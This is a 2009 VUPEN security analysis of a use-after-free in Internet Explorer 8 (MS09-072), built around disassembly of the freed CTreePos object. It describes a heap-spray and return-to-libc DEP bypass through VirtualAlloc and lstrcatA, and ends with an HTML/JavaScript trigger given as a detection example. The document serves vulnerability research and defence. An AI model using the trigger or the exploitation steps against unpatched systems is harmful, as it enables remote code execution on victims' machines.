VUPEN security

VUPEN Security – Private Exploits & PoC Service

In-Depth Analysis of Microsoft Internet Explorer 8 Uninitialized Memory Corruption Vulnerability (MS09-072 / CVE-2009-3671)

Table of Contents

Introduction

A vulnerability exists in Microsoft Internet Explorer 8 when processing specially crafted DOM elements, which could lead to arbitrary code execution while browsing a malicious page.

Tested Versions

The vulnerability was analyzed on Windows XP SP3 with Microsoft Internet Explorer 8 (mshtml.dll version 8.0.6001.18828).

Fixed Versions

The vulnerability was fixed with the MS09-072 security update.

Technical Details

A dangling pointer vulnerability exists in Internet Explorer, in the way it processes HTML pages containing specific combinations of DOM elements. While processing lists of objects, an object may be freed while its references remain in memory. Specifically, the vulnerability lies in how CTreePos objects are managed when an element has two or more children. Associated with some Javascript code, it is possible to free a "CTreePos" and use it later with controlled data.

These CTreePos objects are associated to CDispNode objects, which are given in arguments to "CTextDisplayBox::CompareZOrder":

```
.text:3DBB64FD              mov     edi, edi
.text:3DBB64FF              push    ebp
.text:3DBB6500              mov     ebp, esp
.text:3DBB6502              sub     esp, 0Ch
.text:3DBB6505              push    ebx
.text:3DBB6506              push    esi
.text:3DBB6507              push    edi
.text:3DBB6508              mov     edi, [ebp+arg_4]
.text:3DBB650B              mov     eax, [edi+28h]
.text:3DBB650E              xor     ebx, ebx
.text:3DBB6510              mov     esi, 100000h
.text:3DBB6515              test    [edi+4], esi
.text:3DBB6518              mov     [ebp+var_C], ecx            //ecx is a CDispNode object
.text:3DBB651B              mov     [ebp+var_8], ebx
.text:3DBB651E              mov     [ebp+var_4], ebx
.text:3DBB6521              jnz     loc_3DCC5BE7
…
.text:3DBB8075 loc_3DBB8075:
.text:3DBB8075              push    edi
.text:3DBB8076              push    [ebp+arg_4]
.text:3DBB8079              push    [ebp+var_C]                 //push CDispNode
.text:3DBB807C              call    CTextDisplayBox::CompareZOrderVsTextBox
```

This argument is then populated to "SRunPointer::CompareSpanWithSpan":

```
.text:3DBB80B8              mov     eax, [ebp+arg_0]            //eax = CDispNode
.text:3DBB80BB              push    [ebp+var_4]
.text:3DBB80BE              add     esi, 28h
.text:3DBB80C1              sub     esp, 0Ch
```

```
.text:3DBB80C4              mov     edi, esp
.text:3DBB80C6              push    [ebp+var_8]
.text:3DBB80C9              movsd
.text:3DBB80CA              push    [ebp+var_C]
.text:3DBB80CD              movsd
.text:3DBB80CE              add     eax, 28h                    //add 28h to CDispNode. Eax points now
                                                                //to another object O1 whose type remains
                                                                //unknown
.text:3DBB80D1              movsd
.text:3DBB80D2              call    SRunPointer::CompareSpanWithSpan
```

This object is finally sent to "SRunPointer::GetSpanGlobalCpRange" where a reference to a CTreePos object is evaluated:

```
SRunPointer::GetSpanGlobalCpRange:

.text:3DBB5991              xor     eax, eax
.text:3DBB5993              mov     [ebp+var_10], eax
.text:3DBB5996              mov     [ebp+var_C], eax
.text:3DBB5999              mov     [ebp+var_8], eax
.text:3DBB599C              lea     eax, [ebp+var_10]
.text:3DBB599F              push    eax
.text:3DBB59A0              mov     eax, esi                    //esi = O1
.text:3DBB59A2              call    SRunPointer::GetSpanEnd  //return [O1+4] in var_C
.text:3DBB59A7              test    eax, eax
.text:3DBB59A9              mov     [ebp+arg_0], eax
.text:3DBB59AC              jl      short loc_3DBB59C7
.text:3DBB59AE              mov     eax, [ebp+var_C]            //eax = [O1+4] = O2 and O2+8 points to a
                                                                //CTreePos object TP
.text:3DBB59B1              mov     eax, [eax+8]                //eax now equals TP
.text:3DBB59B4
.text:3DBB59B4 loc_3DBB59B4:
.text:3DBB59B4              push    0
.text:3DBB59B6
.text:3DBB59B6 loc_3DBB59B6:
.text:3DBB59B6              call CGeneratedContent::GetContentCp
```

According to the content of the CTreePos object, this function returns its second dword.

When the children of an element are modified by some Javascript code, the content of TP is changed in CTreePos::RotateUp or CTreePos::ReplaceChild and when these elements are removed, the program calls CMarkup::FreeTreePos to free TP from memory:

```
.text:3DAA63D9              mov     edi, edi
.text:3DAA63DB              push    ebx
.text:3DAA63DC              push    esi
.text:3DAA63DD              mov     esi, eax                    //esi = TP
.text:3DAA63DF              and     dword ptr [esi], 0FFFFFFDFh
.text:3DAA63E2              and     dword ptr [esi+0Ch], 0
.text:3DAA63E6              push    edi
.text:3DAA63E7
.text:3DAA63E7 loc_3DAA63E7:
.text:3DAA63E7              mov     eax, [esi+8]
.text:3DAA63EA              test    eax, eax
.text:3DAA63EC              jnz     loc_3DA69174
.text:3DAA63F2
.text:3DAA63F2 loc_3DAA63F2:
.text:3DAA63F2              mov     edi, [esi]
.text:3DAA63F4              mov     ebx, [esi+0Ch]
```

```
.text:3DAA63F7              shr     edi, 5
.text:3DAA63FA              mov     eax, esi
.text:3DAA63FC              and     edi, 1
.text:3DAA63FF              call    CMarkup::DisconnectTreePos      //set two dwords to 0, as shown
                                                                    //below
.text:3DAA6404              test    byte ptr [esi], 80h
.text:3DAA6407              jz      short loc_3DAA6410
.text:3DAA6409              mov     edx, esi
.text:3DAA640B              call    CTreePos::Release               //free the object
```

Among others, CMarkup::DisconnectTreePos (sub_3DAC3FB2) sets the dwords at offset +08 and +0Ch to 0 before CTreePos::Release frees the object:

```
.text:3DAC3FB2              mov     edi, edi
.text:3DAC3FB4              push    ecx
.text:3DAC3FB5              push    esi
.text:3DAC3FB6              mov     esi, eax
.text:3DAC3FB8              mov     eax, [esi]
.text:3DAC3FBA              and     eax, 0Fh
.text:3DAC3FBD              push    edi
.text:3DAC3FBE              jle     short loc_3DAC3FD1
.text:3DAC3FC0              cmp     eax, 2
.text:3DAC3FC3              jg      loc_3DAC57B2
.text:3DAC3FC9
.text:3DAC3FC9 loc_3DAC3FC9:
.text:3DAC3FC9              and     dword ptr [esi+8], 0            //set two dwords to 0
.text:3DAC3FCD              and     dword ptr [esi+0Ch], 0
.text:3DAC3FD1
.text:3DAC3FD1 loc_3DAC3FD1:
.text:3DAC3FD1              pop     edi
.text:3DAC3FD2              pop     esi
.text:3DAC3FD3              pop     ecx
.text:3DAC3FD4              retn
```

Finally CTreePos::Release frees the object and its children:

```
.text:3DAC578C              mov     eax, [edx]
.text:3DAC578E              mov     ecx, eax
.text:3DAC5790              and     ecx, 0Fh
.text:3DAC5793              dec     ecx
.text:3DAC5794              cmp     ecx, 1
.text:3DAC5797              jbe     loc_3DBE09DB                    //jump to CTreeNode::Release
.text:3DAC579D              dec     dword ptr [edx+18h]
.text:3DAC57A0              jnz     short locret_3DAC57B1
.text:3DAC57A2              push    edx
.text:3DAC57A3              push    0
.text:3DAC57A5              push    _g_hProcessHeap
.text:3DAC57AB              call    HeapFree                        //free the buffer
```

The vulnerability lies here. When TP is freed, one of its references is not deleted in the object previously pointed by CDispNode.

As a result, this pointer now points to invalid data which can be controlled by an attacker.

Correctly manipulated, this vulnerability can lead to arbitrary code execution under the context of the current user when the browser tries to use this object again.

Exploitation

Successful exploitation of this kind of vulnerabilities relies on allocating a block filled with controlled data precisely where TP was allocated. Our tests have shown that this can be achieved by associating CSS styles to various DOM elements. When the browser encounters a 48h bytes long style after having deleted TP, it uses the freed buffer to allocate 4Ch bytes:

```
.text:3DAC9624 ; int __thiscall _HeapAllocString(unsigned int *, void *)
…
.text:3DAC9664              push    [ebp+dwBytes]                 //dwBytes = 4Ch
.text:3DAC9667              push    0
.text:3DAC9669              push    _g_hProcessHeap
.text:3DAC966F              call    HeapAlloc(x,x,x)              //allocate a block precisely where the
                                                                  //CTreePos TP was
.text:3DAC9675              mov     [esi], eax
.text:3DAC9677
.text:3DAC9677 loc_3DAC9677:
.text:3DAC9677              test    eax, eax
.text:3DAC9679              jz      loc_3DCA55D5
.text:3DAC967F              push    [ebp+dwBytes]
.text:3DAC9682              push    [ebp+arg_0]
.text:3DAC9685              push    eax
.text:3DAC9686              call    _memcpy                       //copy the CSS style to the new buffer
```

A crash occurs later in CGeneratedContent::GetContentCp because data are invalid:

```
.text:3DBB59B1              mov     eax, [eax+8]                  //eax should point to the CTreePos
                                                                  //object
.text:3DBB59B4
.text:3DBB59B4 loc_3DBB59B4:
.text:3DBB59B4              push    0
.text:3DBB59B6
.text:3DBB59B6 loc_3DBB59B6:
.text:3DBB59B6              call CGeneratedContent::GetContentCp
```

A crash occurs here because the program tries to dereference invalid pointers.

Under certain conditions, it becomes possible to overwrite an arbitrary pointer in CTreePosContentHelper::AdjustToContentCp:

```
.text:3DB75783              mov     ebx, [eax+esi*4]              //dereference an arbitrary pointer to ebx
.text:3DB75786              mov     eax, [ebx+4]
.text:3DB75789              mov     eax, [eax+54h]
.text:3DB7578C              and     eax, 7FFFFFFFh
.text:3DB75791              cmp     [ebp+arg_10], 0
.text:3DB75795              mov     [ebp+var_10], eax
.text:3DB75798              jnz     loc_3DB7686D
```

At this point, ebx + 8 must point to a controlled location and ebx + 0Ch or ebx + 10h must be a critical pointer.

```
.text:3DB7686D              mov     edi, [ebx+8]                  //ebx+8 must be controlled
.text:3DB76870              push    1
.text:3DB76872              push    0
.text:3DB76874              call    CTreePos::GetCpAndMarkup  //return a controlled value
.text:3DB76879              mov     edi, [ebp+arg_8]
```

```
.text:3DB7687C          mov     ecx, [ebp+var_C]
.text:3DB7687F          mov     [ebx+10h], eax          //overwrite [ebx+10h] with a controlled
                                                        //value
.text:3DB76882          mov     eax, [ebp+var_10]       //var_10 can also be controlled
.text:3DB76885          mov     [ebx+0Ch], eax          //overwrite [ebx+0Ch]
```

This method can thus be used to overwrite a return address on the stack, for example the return address of GetContentCp at 0x0161C2D4, and redirect the flow.

If ebx = 0x0161C2C4, ebx+8 points to a controlled address which leads to the overwrite of 0x0161C2D4 by a controlled return address and 0x0161C2D0 by a controlled base pointer.

However, IE8 activates Data Execution Prevention by default which complicates exploitation.

The idea in this case is to perform a "return-to-libc" attack to allocate an executable page, copy the payload there, and eventually execute it.

This can be accomplished in a few steps:

1) set esp to point to the heap spray and return to step 2
2) allocate an executable page
3) copy the payload there
4) execute the payload

This exploit takes advantage of the Kernel32.dll module (version 5.1.2600.5512 / XP SP3). This module contains the necessary addresses to exploit this vulnerability but is version dependent. Therefore addresses must be changed to target another system. It contains the following code pattern and functions:

```
.text:7C80DF30          mov     esp, ebp            //step 1, with ebp pointing to a heap address
.text:7C80DF32          pop     ebp
.text:7C80DF33          retn

.text:7C809AE1 ; LPVOID __stdcall VirtualAlloc()   //step2
.text:7C834D59 ; LPSTR __stdcall lstrcatA()        //step3
```

This exploit first sets esp to point to 0x09090454 which should point inside the spray. The spray is actually composed of blocks of 400h bytes so that a certain alignment is always respected. The first 256 bytes consist of return addresses to the previous steps, and pointers to overwrite the return address in the stack.

It next returns to VirtualAlloc with the following arguments:

```
0x30000000 – heap address expected
0x00001000 – size of the page
0x00003000 – MEM_COMMIT + MEM_RESERVE
0x00000044 – PAGE_EXECUTE_READ_WRITE
```

This should allocate a new executable page at 0x30000000. lstrcatA is finally called with a destination pointer set to 0x30000000 and a source pointer set to 0x09090524 which points to the beginning of the shellcode.

This method implies that the payload should not contain null bytes. Eventually, the program returns to 0x30000000 and executes the payload despite DEP activated.

Detection

Due to the nature of the bug, attempts to trigger this vulnerability could not be detected reliably.

You can however check if an HTML page contains an element which has at least two children.

If these children are successively removed, the page may be malicious, like the following example:

```
<meta http-equiv="X-UA-Compatible" content="IE=8"/>

<script>
function boom()
{
    p1.parentNode.removeChild(p1);
    p2.parentNode.removeChild(p2);
}
</script>

<body onload="boom();">
<p>
    <a style="position: relative">
        <p id="p2">
            <p id="p1">
            </p>
        </p>
    </a>
</p>
</body>
```

References

VUPEN/ADV-2009-3437:
http://www.vupen.com/english/advisories/2009/3437

MS09-072:
http://www.microsoft.com/technet/security/Bulletin/MS09-072.mspx

Changelog

2009-12-27: Initial release